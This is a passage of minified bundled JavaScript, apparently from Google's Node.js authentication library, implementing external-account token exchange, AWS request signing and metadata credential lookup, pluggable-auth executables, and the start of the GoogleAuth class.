Ge9.Readable;if(!K&&(w===401||w===403)&&!H&&this.forceRefreshOnFailure)return await this.refreshAccessTokenAsync(),await this.requestAsync(A,!0)}throw Y}return q}async refreshAccessTokenAsync(){ra4(this,T_A,GJ6(this,T_A,"f")||GJ6(this,ZJ6,"m",aa4).call(this),"f");try{return await GJ6(this,T_A,"f")}finally{ra4(this,T_A,null,"f")}}getProjectNumber(A){let K=A.match(/\/projects\/([^/]+)/);if(!K)return null;return K[1]}async getImpersonatedAccessToken(A){let K={...Xw1.RETRY_CONFIG,url:this.serviceAccountImpersonationUrl,method:"POST",headers:{"Content-Type":"application/json",Authorization:`Bearer ${A}`},data:{scope:this.getScopesArray(),lifetime:this.serviceAccountImpersonationLifetime+"s"},responseType:"json"},q=await this.transporter.request(K),Y=q.data;return{access_token:Y.accessToken,expiry_date:new Date(Y.expireTime).getTime(),res:q}}isExpired(A){let K=new Date().getTime();return A.expiry_date?K>=A.expiry_date-this.eagerRefreshThresholdMillis:!1}getScopesArray(){if(typeof this.scopes==="string")return[this.scopes];return this.scopes||[WJ6]}getMetricsHeaderValue(){let A=process.version.replace(/^v/,""),K=this.serviceAccountImpersonationUrl!==void 0,q=this.credentialSourceType?this.credentialSourceType:"unknown";return`gl-node/${A} auth/${fe9.version} google-byoid-sdk source/${q} sa-impersonation/${K} config-lifetime/${this.configLifetimeRequested}`}}PG.BaseExternalAccountClient=Xw1;T_A=new WeakMap,ZJ6=new WeakSet,aa4=async function(){let K=await this.retrieveSubjectToken(),q={grantType:De9,audience:this.audience,requestedTokenType:je9,subjectToken:K,subjectTokenType:this.subjectTokenType,scope:this.serviceAccountImpersonationUrl?[WJ6]:this.getScopesArray()},Y=!this.clientAuth&&this.workforcePoolUserProject?{userProject:this.workforcePoolUserProject}:void 0,z={"x-goog-api-client":this.getMetricsHeaderValue()},w=await this.stsCredential.exchangeToken(q,z,Y);if(this.serviceAccountImpersonationUrl)this.cachedAccessToken=await this.getImpersonatedAccessToken(w.access_token);else if(w.expires_in)this.cachedAccessToken={access_token:w.access_token,expiry_date:new Date().getTime()+w.expires_in*1000,res:w.res};else this.cachedAccessToken={access_token:w.access_token,res:w.res};return this.credentials={},Object.assign(this.credentials,this.cachedAccessToken),delete this.credentials.res,this.emit("tokens",{refresh_token:null,expiry_date:this.cachedAccessToken.expiry_date,access_token:this.cachedAccessToken.access_token,token_type:"Bearer",id_token:null}),this.cachedAccessToken}});var As4=v((ta4)=>{var DJ6,jJ6,MJ6;Object.defineProperty(ta4,"__esModule",{value:!0});ta4.FileSubjectTokenSupplier=void 0;var PJ6=CA("util"),VJ6=CA("fs"),Te9=(0,PJ6.promisify)((DJ6=VJ6.readFile)!==null&&DJ6!==void 0?DJ6:()=>{}),ve9=(0,PJ6.promisify)((jJ6=VJ6.realpath)!==null&&jJ6!==void 0?jJ6:()=>{}),Ee9=(0,PJ6.promisify)((MJ6=VJ6.lstat)!==null&&MJ6!==void 0?MJ6:()=>{});class sa4{constructor(A){this.filePath=A.filePath,this.formatType=A.formatType,this.subjectTokenFieldName=A.subjectTokenFieldName}async getSubjectToken(A){let K=this.filePath;try{if(K=await ve9(K),!(await Ee9(K)).isFile())throw Error()}catch(z){if(z instanceof Error)z.message=`The file at ${K} does not exist, or it is not a file. ${z.message}`;throw z}let q,Y=await Te9(K,{encoding:"utf8"});if(this.formatType==="text")q=Y;else if(this.formatType==="json"&&this.subjectTokenFieldName)q=JSON.parse(Y)[this.subjectTokenFieldName];if(!q)throw Error("Unable to parse the subject_token from the credential_source file");return q}}ta4.FileSubjectTokenSupplier=sa4});var zs4=v((qs4)=>{Object.defineProperty(qs4,"__esModule",{value:!0});qs4.UrlSubjectTokenSupplier=void 0;class Ks4{constructor(A){this.url=A.url,this.formatType=A.formatType,this.subjectTokenFieldName=A.subjectTokenFieldName,this.headers=A.headers,this.additionalGaxiosOptions=A.additionalGaxiosOptions}async getSubjectToken(A){let K={...this.additionalGaxiosOptions,url:this.url,method:"GET",headers:this.headers,responseType:this.formatType},q;if(this.formatType==="text")q=(await A.transporter.request(K)).data;else if(this.formatType==="json"&&this.subjectTokenFieldName)q=(await A.transporter.request(K)).data[this.subjectTokenFieldName];if(!q)throw Error("Unable to parse the subject_token from the credential_source URL");return q}}qs4.UrlSubjectTokenSupplier=Ks4});var TJ6=v((ws4)=>{Object.defineProperty(ws4,"__esModule",{value:!0});ws4.IdentityPoolClient=void 0;var ke9=Zo(),fJ6=_o(),Ce9=As4(),Le9=zs4();class NJ6 extends ke9.BaseExternalAccountClient{constructor(A,K){super(A,K);let q=(0,fJ6.originalOrCamelOptions)(A),Y=q.get("credential_source"),z=q.get("subject_token_supplier");if(!Y&&!z)throw Error("A credential source or subject token supplier must be specified.");if(Y&&z)throw Error("Only one of credential source or subject token supplier can be specified.");if(z)this.subjectTokenSupplier=z,this.credentialSourceType="programmatic";else{let w=(0,fJ6.originalOrCamelOptions)(Y),H=(0,fJ6.originalOrCamelOptions)(w.get("format")),J=H.get("type")||"text",O=H.get("subject_token_field_name");if(J!=="json"&&J!=="text")throw Error(`Invalid credential_source format "${J}"`);if(J==="json"&&!O)throw Error("Missing subject_token_field_name for JSON credential_source format");let X=w.get("file"),$=w.get("url"),_=w.get("headers");if(X&&$)throw Error('No valid Identity Pool "credential_source" provided, must be either file or url.');else if(X&&!$)this.credentialSourceType="file",this.subjectTokenSupplier=new Ce9.FileSubjectTokenSupplier({filePath:X,formatType:J,subjectTokenFieldName:O});else if(!X&&$)this.credentialSourceType="url",this.subjectTokenSupplier=new Le9.UrlSubjectTokenSupplier({url:$,formatType:J,subjectTokenFieldName:O,headers:_,additionalGaxiosOptions:NJ6.RETRY_CONFIG});else throw Error('No valid Identity Pool "credential_source" provided, must be either file or url.')}}async retrieveSubjectToken(){return this.subjectTokenSupplier.getSubjectToken(this.supplierContext)}}ws4.IdentityPoolClient=NJ6});var vJ6=v(($s4)=>{Object.defineProperty($s4,"__esModule",{value:!0});$s4.AwsRequestSigner=void 0;var Os4=W_A(),Js4="AWS4-HMAC-SHA256",Re9="aws4_request";class Xs4{constructor(A,K){this.getCredentials=A,this.region=K,this.crypto=(0,Os4.createCrypto)()}async getRequestOptions(A){if(!A.url)throw Error('"url" is required in "amzOptions"');let K=typeof A.data==="object"?JSON.stringify(A.data):A.data,q=A.url,Y=A.method||"GET",z=A.body||K,w=A.headers,H=await this.getCredentials(),J=new URL(q),O=await Ie9({crypto:this.crypto,host:J.host,canonicalUri:J.pathname,canonicalQuerystring:J.search.substr(1),method:Y,region:this.region,securityCredentials:H,requestPayload:z,additionalAmzHeaders:w}),X=Object.assign(O.amzDate?{"x-amz-date":O.amzDate}:{},{Authorization:O.authorizationHeader,host:J.host},w||{});if(H.token)Object.assign(X,{"x-amz-security-token":H.token});let $={url:q,method:Y,headers:X};if(typeof z<"u")$.body=z;return $}}$s4.AwsRequestSigner=Xs4;async function VhA(A,K,q){return await A.signWithHmacSha256(K,q)}async function ye9(A,K,q,Y,z){let w=await VhA(A,`AWS4${K}`,q),H=await VhA(A,w,Y),J=await VhA(A,H,z);return await VhA(A,J,"aws4_request")}async function Ie9(A){let K=A.additionalAmzHeaders||{},q=A.requestPayload||"",Y=A.host.split(".")[0],z=new Date,w=z.toISOString().replace(/[-:]/g,"").replace(/\.[0-9]+/,""),H=z.toISOString().replace(/[-]/g,"").replace(/T.*/,""),J={};if(Object.keys(K).forEach((f)=>{J[f.toLowerCase()]=K[f]}),A.securityCredentials.token)J["x-amz-security-token"]=A.securityCredentials.token;let O=Object.assign({host:A.host},J.date?{}:{"x-amz-date":w},J),X="",$=Object.keys(O).sort();$.forEach((f)=>{X+=`${f}:${O[f]} `});let _=$.join(";"),G=await A.crypto.sha256DigestHex(q),Z=`${A.method} ${A.canonicalUri} ${A.canonicalQuerystring} ${X} ${_} ${G}`,W=`${H}/${A.region}/${Y}/${Re9}`,D=`${Js4} ${w} ${W} `+await A.crypto.sha256DigestHex(Z),j=await ye9(A.crypto,A.securityCredentials.secretAccessKey,H,A.region,Y),M=await VhA(A.crypto,j,D),P=`${Js4} Credential=${A.securityCredentials.accessKeyId}/${W}, SignedHeaders=${_}, Signature=${(0,Os4.fromArrayBufferToHex)(M)}`;return{amzDate:J.date?void 0:w,authorizationHeader:P,canonicalQuerystring:A.canonicalQuerystring}}});var Ds4=v((v_A)=>{var jU=v_A&&v_A.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},KI,EJ6,Gs4,Zs4,$w1,kJ6;Object.defineProperty(v_A,"__esModule",{value:!0});v_A.DefaultAwsSecurityCredentialsSupplier=void 0;class Ws4{constructor(A){KI.add(this),this.regionUrl=A.regionUrl,this.securityCredentialsUrl=A.securityCredentialsUrl,this.imdsV2SessionTokenUrl=A.imdsV2SessionTokenUrl,this.additionalGaxiosOptions=A.additionalGaxiosOptions}async getAwsRegion(A){if(jU(this,KI,"a",$w1))return jU(this,KI,"a",$w1);let K={};if(!jU(this,KI,"a",$w1)&&this.imdsV2SessionTokenUrl)K["x-aws-ec2-metadata-token"]=await jU(this,KI,"m",EJ6).call(this,A.transporter);if(!this.regionUrl)throw Error('Unable to determine AWS region due to missing "options.credential_source.region_url"');let q={...this.additionalGaxiosOptions,url:this.regionUrl,method:"GET",responseType:"text",headers:K},Y=await A.transporter.request(q);return Y.data.substr(0,Y.data.length-1)}async getAwsSecurityCredentials(A){if(jU(this,KI,"a",kJ6))return jU(this,KI,"a",kJ6);let K={};if(this.imdsV2SessionTokenUrl)K["x-aws-ec2-metadata-token"]=await jU(this,KI,"m",EJ6).call(this,A.transporter);let q=await jU(this,KI,"m",Gs4).call(this,K,A.transporter),Y=await jU(this,KI,"m",Zs4).call(this,q,K,A.transporter);return{accessKeyId:Y.AccessKeyId,secretAccessKey:Y.SecretAccessKey,token:Y.Token}}}v_A.DefaultAwsSecurityCredentialsSupplier=Ws4;KI=new WeakSet,EJ6=async function(K){let q={...this.additionalGaxiosOptions,url:this.imdsV2SessionTokenUrl,method:"PUT",responseType:"text",headers:{"x-aws-ec2-metadata-token-ttl-seconds":"300"}};return(await K.request(q)).data},Gs4=async function(K,q){if(!this.securityCredentialsUrl)throw Error('Unable to determine AWS role name due to missing "options.credential_source.url"');let Y={...this.additionalGaxiosOptions,url:this.securityCredentialsUrl,method:"GET",responseType:"text",headers:K};return(await q.request(Y)).data},Zs4=async function(K,q,Y){return(await Y.request({...this.additionalGaxiosOptions,url:`${this.securityCredentialsUrl}/${K}`,responseType:"json",headers:q})).data},$w1=function(){return process.env.AWS_REGION||process.env.AWS_DEFAULT_REGION||null},kJ6=function(){if(process.env.AWS_ACCESS_KEY_ID&&process.env.AWS_SECRET_ACCESS_KEY)return{accessKeyId:process.env.AWS_ACCESS_KEY_ID,secretAccessKey:process.env.AWS_SECRET_ACCESS_KEY,token:process.env.AWS_SESSION_TOKEN};return null}});var CJ6=v((E_A)=>{var Se9=E_A&&E_A.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},_w1,Ms4;Object.defineProperty(E_A,"__esModule",{value:!0});E_A.AwsClient=void 0;var he9=vJ6(),be9=Zo(),xe9=Ds4(),js4=_o();class fhA extends be9.BaseExternalAccountClient{constructor(A,K){super(A,K);let q=(0,js4.originalOrCamelOptions)(A),Y=q.get("credential_source"),z=q.get("aws_security_credentials_supplier");if(!Y&&!z)throw Error("A credential source or AWS security credentials supplier must be specified.");if(Y&&z)throw Error("Only one of credential source or AWS security credentials supplier can be specified.");if(z)this.awsSecurityCredentialsSupplier=z,this.regionalCredVerificationUrl=Se9(_w1,_w1,"f",Ms4),this.credentialSourceType="programmatic";else{let w=(0,js4.originalOrCamelOptions)(Y);this.environmentId=w.get("environment_id");let H=w.get("region_url"),J=w.get("url"),O=w.get("imdsv2_session_token_url");this.awsSecurityCredentialsSupplier=new xe9.DefaultAwsSecurityCredentialsSupplier({regionUrl:H,securityCredentialsUrl:J,imdsV2SessionTokenUrl:O}),this.regionalCredVerificationUrl=w.get("regional_cred_verification_url"),this.credentialSourceType="aws",this.validateEnvironmentId()}this.awsRequestSigner=null,this.region=""}validateEnvironmentId(){var A;let K=(A=this.environmentId)===null||A===void 0?void 0:A.match(/^(aws)(\d+)$/);if(!K||!this.regionalCredVerificationUrl)throw Error('No valid AWS "credential_source" provided');else if(parseInt(K[2],10)!==1)throw Error(`aws version "${K[2]}" is not supported in the current build.`)}async retrieveSubjectToken(){if(!this.awsRequestSigner)this.region=await this.awsSecurityCredentialsSupplier.getAwsRegion(this.supplierContext),this.awsRequestSigner=new he9.AwsRequestSigner(async()=>{return this.awsSecurityCredentialsSupplier.getAwsSecurityCredentials(this.supplierContext)},this.region);let A=await this.awsRequestSigner.getRequestOptions({..._w1.RETRY_CONFIG,url:this.regionalCredVerificationUrl.replace("{region}",this.region),method:"POST"}),K=[],q=Object.assign({"x-goog-cloud-target-resource":this.audience},A.headers);for(let Y in q)K.push({key:Y,value:q[Y]});return encodeURIComponent(JSON.stringify({url:A.url,method:A.method,headers:K}))}}E_A.AwsClient=fhA;_w1=fhA;Ms4={value:"https://sts.{region}.amazonaws.com?Action=GetCallerIdentity&Version=2011-06-15"};fhA.AWS_EC2_METADATA_IPV4_ADDRESS="169.254.169.254";fhA.AWS_EC2_METADATA_IPV6_ADDRESS="fd00:ec2::254"});var xJ6=v((fs4)=>{Object.defineProperty(fs4,"__esModule",{value:!0});fs4.InvalidSubjectTokenError=fs4.InvalidMessageFieldError=fs4.InvalidCodeFieldError=fs4.InvalidTokenTypeFieldError=fs4.InvalidExpirationTimeFieldError=fs4.InvalidSuccessFieldError=fs4.InvalidVersionFieldError=fs4.ExecutableResponseError=fs4.ExecutableResponse=void 0;var Gw1="urn:ietf:params:oauth:token-type:saml2",LJ6="urn:ietf:params:oauth:token-type:id_token",RJ6="urn:ietf:params:oauth:token-type:jwt";class Ps4{constructor(A){if(!A.version)throw new yJ6("Executable response must contain a 'version' field.");if(A.success===void 0)throw new IJ6("Executable response must contain a 'success' field.");if(this.version=A.version,this.success=A.success,this.success){if(this.expirationTime=A.expiration_time,this.tokenType=A.token_type,this.tokenType!==Gw1&&this.tokenType!==LJ6&&this.tokenType!==RJ6)throw new SJ6(`Executable response must contain a 'token_type' field when successful and it must be one of ${LJ6}, ${RJ6}, or ${Gw1}.`);if(this.tokenType===Gw1){if(!A.saml_response)throw new Zw1(`Executable response must contain a 'saml_response' field when token_type=${Gw1}.`);this.subjectToken=A.saml_response}else{if(!A.id_token)throw new Zw1(`Executable response must contain a 'id_token' field when token_type=${LJ6} or ${RJ6}.`);this.subjectToken=A.id_token}}else{if(!A.code)throw new hJ6("Executable response must contain a 'code' field when unsuccessful.");if(!A.message)throw new bJ6("Executable response must contain a 'message' field when unsuccessful.");this.errorCode=A.code,this.errorMessage=A.message}}isValid(){return!this.isExpired()&&this.success}isExpired(){return this.expirationTime!==void 0&&this.expirationTime<Math.round(Date.now()/1000)}}fs4.ExecutableResponse=Ps4;class MU extends Error{constructor(A){super(A);Object.setPrototypeOf(this,new.target.prototype)}}fs4.ExecutableResponseError=MU;class yJ6 extends MU{}fs4.InvalidVersionFieldError=yJ6;class IJ6 extends MU{}fs4.InvalidSuccessFieldError=IJ6;class Vs4 extends MU{}fs4.InvalidExpirationTimeFieldError=Vs4;class SJ6 extends MU{}fs4.InvalidTokenTypeFieldError=SJ6;class hJ6 extends MU{}fs4.InvalidCodeFieldError=hJ6;class bJ6 extends MU{}fs4.InvalidMessageFieldError=bJ6;class Zw1 extends MU{}fs4.InvalidSubjectTokenError=Zw1});var Es4=v((Ts4)=>{Object.defineProperty(Ts4,"__esModule",{value:!0});Ts4.PluggableAuthHandler=void 0;var de9=Ww1(),m7A=xJ6(),ce9=CA("child_process"),uJ6=CA("fs");class BJ6{constructor(A){if(!A.command)throw Error("No command provided.");if(this.commandComponents=BJ6.parseCommand(A.command),this.timeoutMillis=A.timeoutMillis,!this.timeoutMillis)throw Error("No timeoutMillis provided.");this.outputFile=A.outputFile}retrieveResponseFromExecutable(A){return new Promise((K,q)=>{let Y=ce9.spawn(this.commandComponents[0],this.commandComponents.slice(1),{env:{...process.env,...Object.fromEntries(A)}}),z="";Y.stdout.on("data",(H)=>{z+=H}),Y.stderr.on("data",(H)=>{z+=H});let w=setTimeout(()=>{return Y.removeAllListeners(),Y.kill(),q(Error("The executable failed to finish within the timeout specified."))},this.timeoutMillis);Y.on("close",(H)=>{if(clearTimeout(w),H===0)try{let J=JSON.parse(z),O=new m7A.ExecutableResponse(J);return K(O)}catch(J){if(J instanceof m7A.ExecutableResponseError)return q(J);return q(new m7A.ExecutableResponseError(`The executable returned an invalid response: ${z}`))}else return q(new de9.ExecutableError(z,H.toString()))})})}async retrieveCachedResponse(){if(!this.outputFile||this.outputFile.length===0)return;let A;try{A=await uJ6.promises.realpath(this.outputFile)}catch(q){return}if(!(await uJ6.promises.lstat(A)).isFile())return;let K=await uJ6.promises.readFile(A,{encoding:"utf8"});if(K==="")return;try{let q=JSON.parse(K);if(new m7A.ExecutableResponse(q).isValid())return new m7A.ExecutableResponse(q);return}catch(q){if(q instanceof m7A.ExecutableResponseError)throw q;throw new m7A.ExecutableResponseError(`The output file contained an invalid response: ${K}`)}}static parseCommand(A){let K=A.match(/(?:[^\s"]+|"[^"]*")+/g);if(!K)throw Error(`Provided command: "${A}" could not be parsed.`);for(let q=0;q<K.length;q++)if(K[q][0]==='"'&&K[q].slice(-1)==='"')K[q]=K[q].slice(1,-1);return K}}Ts4.PluggableAuthHandler=BJ6});var Ww1=v((ys4)=>{Object.defineProperty(ys4,"__esModule",{value:!0});ys4.PluggableAuthClient=ys4.ExecutableError=void 0;var le9=Zo(),ie9=xJ6(),ne9=Es4();class mJ6 extends Error{constructor(A,K){super(`The executable failed with exit code: ${K} and error message: ${A}.`);this.code=K,Object.setPrototypeOf(this,new.target.prototype)}}ys4.ExecutableError=mJ6;var re9=30000,ks4=5000,Cs4=120000,oe9="GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES",Ls4=1;class Rs4 extends le9.BaseExternalAccountClient{constructor(A,K){super(A,K);if(!A.credential_source.executable)throw Error('No valid Pluggable Auth "credential_source" provided.');if(this.command=A.credential_source.executable.command,!this.command)throw Error('No valid Pluggable Auth "credential_source" provided.');if(A.credential_source.executable.timeout_millis===void 0)this.timeoutMillis=re9;else if(this.timeoutMillis=A.credential_source.executable.timeout_millis,this.timeoutMillis<ks4||this.timeoutMillis>Cs4)throw Error(`Timeout must be between ${ks4} and ${Cs4} milliseconds.`);this.outputFile=A.credential_source.executable.output_file,this.handler=new ne9.PluggableAuthHandler({command:this.command,timeoutMillis:this.timeoutMillis,outputFile:this.outputFile}),this.credentialSourceType="executable"}async retrieveSubjectToken(){if(process.env[oe9]!=="1")throw Error("Pluggable Auth executables need to be explicitly allowed to run by setting the GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES environment Variable to 1.");let A=void 0;if(this.outputFile)A=await this.handler.retrieveCachedResponse();if(!A){let K=new Map;if(K.set("GOOGLE_EXTERNAL_ACCOUNT_AUDIENCE",this.audience),K.set("GOOGLE_EXTERNAL_ACCOUNT_TOKEN_TYPE",this.subjectTokenType),K.set("GOOGLE_EXTERNAL_ACCOUNT_INTERACTIVE","0"),this.outputFile)K.set("GOOGLE_EXTERNAL_ACCOUNT_OUTPUT_FILE",this.outputFile);let q=this.getServiceAccountEmail();if(q)K.set("GOOGLE_EXTERNAL_ACCOUNT_IMPERSONATED_EMAIL",q);A=await this.handler.retrieveResponseFromExecutable(K)}if(A.version>Ls4)throw Error(`Version of executable is not currently supported, maximum supported version is ${Ls4}.`);if(!A.success)throw new mJ6(A.errorMessage,A.errorCode);if(this.outputFile){if(!A.expirationTime)throw new ie9.InvalidExpirationTimeFieldError("The executable response must contain the `expiration_time` field for successful responses when an output_file has been specified in the configuration.")}if(A.isExpired())throw Error("Executable response is expired.");return A.subjectToken}}ys4.PluggableAuthClient=Rs4});var gJ6=v((hs4)=>{Object.defineProperty(hs4,"__esModule",{value:!0});hs4.ExternalAccountClient=void 0;var se9=Zo(),te9=TJ6(),ee9=CJ6(),AAY=Ww1();class Ss4{constructor(){throw Error("ExternalAccountClients should be initialized via: ExternalAccountClient.fromJSON(), directly via explicit constructors, eg. new AwsClient(options), new IdentityPoolClient(options), newPluggableAuthClientOptions, or via new GoogleAuth(options).getClient()")}static fromJSON(A,K){var q,Y;if(A&&A.type===se9.EXTERNAL_ACCOUNT_TYPE)if((q=A.credential_source)===null||q===void 0?void 0:q.environment_id)return new ee9.AwsClient(A,K);else if((Y=A.credential_source)===null||Y===void 0?void 0:Y.executable)return new AAY.PluggableAuthClient(A,K);else return new te9.IdentityPoolClient(A,K);else return null}}hs4.ExternalAccountClient=Ss4});var gs4=v((Bs4)=>{Object.defineProperty(Bs4,"__esModule",{value:!0});Bs4.ExternalAccountAuthorizedUserClient=Bs4.EXTERNAL_ACCOUNT_AUTHORIZED_USER_TYPE=void 0;var KAY=Du(),xs4=XJ6(),qAY=oy(),YAY=CA("stream"),zAY=Zo();Bs4.EXTERNAL_ACCOUNT_AUTHORIZED_USER_TYPE="external_account_authorized_user";var wAY="https://sts.{universeDomain}/v1/oauthtoken";class FJ6 extends xs4.OAuthClientAuthHandler{constructor(A,K,q){super(q);this.url=A,this.transporter=K}async refreshToken(A,K){let q=new URLSearchParams({grant_type:"refresh_token",refresh_token:A}),Y={"Content-Type":"application/x-www-form-urlencoded",...K},z={...FJ6.RETRY_CONFIG,url:this.url,method:"POST",headers:Y,data:q.toString(),responseType:"json"};this.applyClientAuthenticationOptions(z);try{let w=await this.transporter.request(z),H=w.data;return H.res=w,H}catch(w){if(w instanceof qAY.GaxiosError&&w.response)throw(0,xs4.getErrorFromOAuthErrorResponse)(w.response.data,w);throw w}}}class us4 extends KAY.AuthClient{constructor(A,K){var q;super({...A,...K});if(A.universe_domain)this.universeDomain=A.universe_domain;this.refreshToken=A.refresh_token;let Y={confidentialClientType:"basic",clientId:A.client_id,clientSecret:A.client_secret};if(this.externalAccountAuthorizedUserHandler=new FJ6((q=A.token_url)!==null&&q!==void 0?q:wAY.replace("{universeDomain}",this.universeDomain),this.transporter,Y),this.cachedAccessToken=null,this.quotaProjectId=A.quota_project_id,typeof(K===null||K===void 0?void 0:K.eagerRefreshThresholdMillis)!=="number")this.eagerRefreshThresholdMillis=zAY.EXPIRATION_TIME_OFFSET;else this.eagerRefreshThresholdMillis=K.eagerRefreshThresholdMillis;this.forceRefreshOnFailure=!!(K===null||K===void 0?void 0:K.forceRefreshOnFailure)}async getAccessToken(){if(!this.cachedAccessToken||this.isExpired(this.cachedAccessToken))await this.refreshAccessTokenAsync();return{token:this.cachedAccessToken.access_token,res:this.cachedAccessToken.res}}async getRequestHeaders(){let K={Authorization:`Bearer ${(await this.getAccessToken()).token}`};return this.addSharedMetadataHeaders(K)}request(A,K){if(K)this.requestAsync(A).then((q)=>K(null,q),(q)=>{return K(q,q.response)});else return this.requestAsync(A)}async requestAsync(A,K=!1){let q;try{let Y=await this.getRequestHeaders();if(A.headers=A.headers||{},Y&&Y["x-goog-user-project"])A.headers["x-goog-user-project"]=Y["x-goog-user-project"];if(Y&&Y.Authorization)A.headers.Authorization=Y.Authorization;q=await this.transporter.request(A)}catch(Y){let z=Y.response;if(z){let w=z.status,H=z.config.data instanceof YAY.Readable;if(!K&&(w===401||w===403)&&!H&&this.forceRefreshOnFailure)return await this.refreshAccessTokenAsync(),await this.requestAsync(A,!0)}throw Y}return q}async refreshAccessTokenAsync(){let A=await this.externalAccountAuthorizedUserHandler.refreshToken(this.refreshToken);if(this.cachedAccessToken={access_token:A.access_token,expiry_date:new Date().getTime()+A.expires_in*1000,res:A.res},A.refresh_token!==void 0)this.refreshToken=A.refresh_token;return this.cachedAccessToken}isExpired(A){let K=new Date().getTime();return A.expiry_date?K>=A.expiry_date-this.eagerRefreshThresholdMillis:!1}}Bs4.ExternalAccountAuthorizedUserClient=us4});var cs4=v((cZ)=>{var Wo=cZ&&cZ.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},Fs4=cZ&&cZ.__classPrivateFieldSet||function(A,K,q,Y,z){if(Y==="m")throw TypeError("Private method is not writable");if(Y==="a"&&!z)throw TypeError("Private accessor was defined without a setter");if(typeof K==="function"?A!==K||!z:!K.has(A))throw TypeError("Cannot write private member to an object whose class did not declare it");return Y==="a"?z.call(A,q):z?z.value=q:K.set(A,q),q},Do,L_A,R_A,ds4;Object.defineProperty(cZ,"__esModule",{value:!0});cZ.GoogleAuth=cZ.GoogleAuthExceptionMessages=cZ.CLOUD_SDK_CLIENT_ID=void 0;var JAY=CA("child_process"),vhA=CA("fs"),NhA=$hA(),OAY=CA("os"),UJ6=CA("path"),XAY=W_A(),$AY=GhA(),_AY=UH6(),GAY=pH6(),ZAY=dH6(),k_A=HJ6(),Qs4=JJ6(),C_A=OJ6(),WAY=gJ6(),ThA=Zo(),QJ6=Du(),Us4=gs4(),ps4=_o();cZ.CLOUD_SDK_CLIENT_ID="764086051850-6qr4p6gpi6hn506pt8ejuq83di341hur.apps.googleusercontent.com";cZ.GoogleAuthExceptionMessages={API_KEY_WITH_CREDENTIALS:"API Keys and Credentials are mutually exclusive authentication methods and cannot be used together.",NO_PROJECT_ID_FOUND:`Unable to detect a Project Id in the current environment. To learn more about authentication and Google APIs, visit: https://cloud.google.com/docs/authentication/getting-started`,NO_CREDENTIALS_FOUND:`Unable to find credentials in current environment. To learn more about authentication and Google APIs, visit: https://cloud.google.com/docs/authentication/getting-started`,NO_ADC_FOUND:"Could not load the default credentials. Browse to https://cloud.google.com/docs/authentication/getting-started for more information.",NO_UNIVERSE_DOMAIN_FOUND:`Unable to detect a Universe Domain in the current environment. To learn more about Universe Domain retrieval, visit: https://cloud.google.com/compute/docs/metadata/predefined-metadata-keys`};class pJ6{get isGCE(){return this.checkIsGCE}constructor(A={}){if(Do.add(this),this.checkIsGCE=void 0,this.jsonContent=null,this.cachedCredential=null,L_A.set(this,null),this.clientOptions={},this._cachedProjectId=A.projectId||null,this.cachedCredential=A.authClient||null,this.keyFilename=A.keyFilename||A.keyFile,this.scopes=A.scopes,this.clientOptions=A.clientOptions||{},this.jsonContent=A.credentials||null,this.apiKey=A.apiKey||this.clientOptions.apiKey||null,this.apiKey&&(this.jsonContent||this.clientOptions.credentials))throw RangeError(cZ.GoogleAuthExceptionMessages.API_KEY_WITH_CREDENTIALS);if(A.universeDomain)this.clientOptions.universeDomain=A.universeDomain}setGapicJWTValues(A){A.defaultServicePath=this.defaultServicePath,A.useJWTAccessWithScope=this.useJWTAccessWithScope,A.defaultScopes=this.defaultScopes}getProjectId(A){if(A)this.getProjectIdAsync().then((K)=>A(null,K),A);else return this.getProjectIdAsync()}async getProjectIdOptional(){try{return await this.getProjectId()}catch(A){if(A instanceof Error&&A.message===cZ.GoogleAuthExceptionMessages.NO_PROJECT_ID_FOUND)return null;else throw A}}async findAndCacheProjectId(){let A=null;if(A||(A=await this.getProductionProjectId()),A||(A=await this.getFileProjectId()),A||(A=await this.getDefaultServiceProjectId()),A||(A=await this.getGCEProjectId()),A||(A=await this.getExternalAccountClientProjectId()),A)return this._cachedProjectId=A,A;else throw Error(cZ.GoogleAuthExceptionMessages.NO_PROJECT_ID_FOUND)}async getProjectIdAsync(){if(this._cachedProjectId)return this._cachedProjectId;if(!this._findProjectIdPromise)this._findProjectIdPromise=this.findAndCacheProjectId();return this._findProjectIdPromise}async getUniverseDomainFromMetadataServer(){var A;let K;try{K=await NhA.universe("universe-domain"),K||(K=QJ6.DEFAULT_UNIVERSE)}catch(q){if(q&&((A=q===null||q===void 0?void 0:q.response)===null||A===void 0?void 0:A.status)===404)K=QJ6.DEFAULT_UNIVERSE;else throw q}return K}async getUniverseDomain(){let A=(0,ps4.originalOrCamelOptions)(this.clientOptions).get("universe_domain");try{A!==null&&A!==void 0||(A=(await this.getClient()).universeDomain)}catch(K){A!==null&&A!==void 0||(A=QJ6.DEFAULT_UNIVERSE)}return A}getAnyScopes(){return this.scopes||this.defaultScopes}getApplicationDefault(A={},K){let q;if(typeof A==="function")K=A;else q=A;if(K)this.getApplicationDefaultAsync(q).then((Y)=>K(null,Y.credential,Y.projectId),K);else return this.getApplicationDefaultAsync(q)}async getApplicationDefaultAsync(A={}){if(this.cachedCredential)return await Wo(this,Do,"m",R_A).call(this,this.cachedCredential,null);let K;if(K=await this._tryGetApplicationCredentialsFromEnvironmentVariable(A),K){if(K instanceof k_A.JWT)K.scopes=this.scopes;else if(K instanceof ThA.BaseExternalAccountClient)K.scopes=this.getAnyScopes();return await Wo(this,Do,"m",R_A).call(this,K)}if(K=await this._tryGetApplicationCredentialsFromWellKnownFile(A),K){if(K instanceof k_A.JWT)K.scopes=this.scopes;else if(K instanceof ThA.BaseExternalAccountClient)K.scopes=this.getAnyScopes();return await Wo(this,Do,"m",R_A).call(this,K)}if(await this._checkIsGCE())return A.scopes=this.getAnyScopes(),await Wo(this,Do,"m",R_A).call(this,new 